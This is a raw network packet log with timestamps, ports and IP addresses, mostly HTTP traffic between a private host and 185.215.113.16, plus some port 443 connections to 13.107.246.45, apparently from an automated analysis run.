Nov 15, 2024 13:18:28.445461035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.445688009 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.488667965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.488677979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.488686085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.488833904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.488924980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.488930941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489047050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489073038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489082098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489084005 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.489110947 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.489123106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489132881 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.489984989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.489994049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490009069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490070105 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490070105 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490087986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490096092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490104914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490113020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490154028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490163088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490166903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490274906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490283012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490291119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490293026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490302086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490355968 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490571022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.490720034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.490758896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.491225958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.551078081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551115990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551124096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551134109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551198959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551218987 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.551243067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551254034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551282883 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.551328897 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.551342964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551353931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.551429987 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.568176985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568183899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568262100 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.568773031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568789959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568799019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568813086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.568867922 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.568867922 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.569464922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.569485903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.569500923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.569574118 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.569574118 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.611915112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.611934900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.611943960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612308979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612323999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612334013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612340927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612345934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.612404108 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.612404108 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.612409115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612416983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612432003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612437010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612617970 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.612754107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612771988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612826109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.612904072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612912893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612927914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612965107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.612994909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.613269091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613301039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.613331079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613338947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613370895 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.613398075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613405943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613410950 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.613413095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613862038 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.613913059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613918066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.613986969 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.655261993 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.655268908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.655417919 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.674474001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674515009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674534082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674544096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674552917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674571991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674582005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674607992 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.674638987 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.674837112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674844027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.674928904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.691292048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.691301107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.691324949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.691343069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.691350937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.691555023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.691555023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.692460060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.692480087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.692498922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.692559958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.692677975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.692991018 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.734972000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.734992981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.735086918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.735141039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.735156059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736139059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736148119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736162901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736181021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736198902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736207008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736222029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736234903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736279011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736279011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736291885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736304998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736314058 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736334085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736365080 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736437082 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736586094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736640930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736649990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736692905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736707926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736716986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736730099 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.736752987 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.736825943 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.737230062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.737237930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.737252951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.737302065 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.737302065 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.797735929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797791004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797807932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797817945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797826052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797842979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797854900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797858953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.797946930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797954082 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.797955990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.797966003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.798091888 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.814591885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.814615965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.814626932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.814635038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.814645052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.814809084 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.815768003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.815803051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.815810919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.815840006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.815917015 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.816080093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.858268976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.858304024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.858345985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.858365059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.858387947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.858511925 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859385967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859438896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859448910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859462023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859491110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859499931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859508991 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859548092 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859589100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859596968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859605074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859611988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859620094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859652996 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859880924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859929085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.859980106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.859987974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860004902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860018969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860044003 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.860063076 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.860311985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860321045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860335112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860373020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860373974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.860380888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860389948 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.860471010 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.877293110 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.877614975 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.878221989 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.878237009 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.878655910 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.878662109 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.878756046 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.878758907 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.879003048 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.879005909 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.888884068 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.889830112 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.889830112 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.889863968 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.889877081 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.920636892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920646906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920663118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920725107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920732975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920748949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.920747995 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.920859098 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.921123028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.921176910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.921185017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.921310902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.921319962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.921350956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.923333883 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.937577963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937597990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937607050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937661886 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937675953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.937715054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937722921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.937879086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.938900948 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938915968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938935041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938945055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938958883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938967943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.938968897 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.938987017 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.939023018 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.981785059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.981813908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.981832027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.981959105 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.982551098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982566118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982593060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982609034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982697964 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.982734919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982765913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982779026 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.982781887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982795954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.982811928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983134031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983166933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983191013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983200073 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983268023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983294010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983386040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983401060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983433962 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983439922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983453989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983479977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983485937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983510017 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983658075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.983916998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.983975887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.984024048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.984039068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.984062910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.984070063 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.984096050 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.006680012 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.006839991 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.007033110 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.007033110 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.007059097 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.007070065 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.007977962 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.008049965 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.008620024 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.008708000 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.008708000 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.008712053 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.008718967 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.012353897 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.012403965 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.012475014 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.014256001 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.014300108 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.014380932 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.014734030 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.014751911 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.014933109 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.014949083 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.022614002 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.022798061 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.023056984 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.023056984 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.023860931 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.023876905 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.025433064 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.025458097 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.025595903 CET	49762	443	192.168.2.7	13.107.246.45
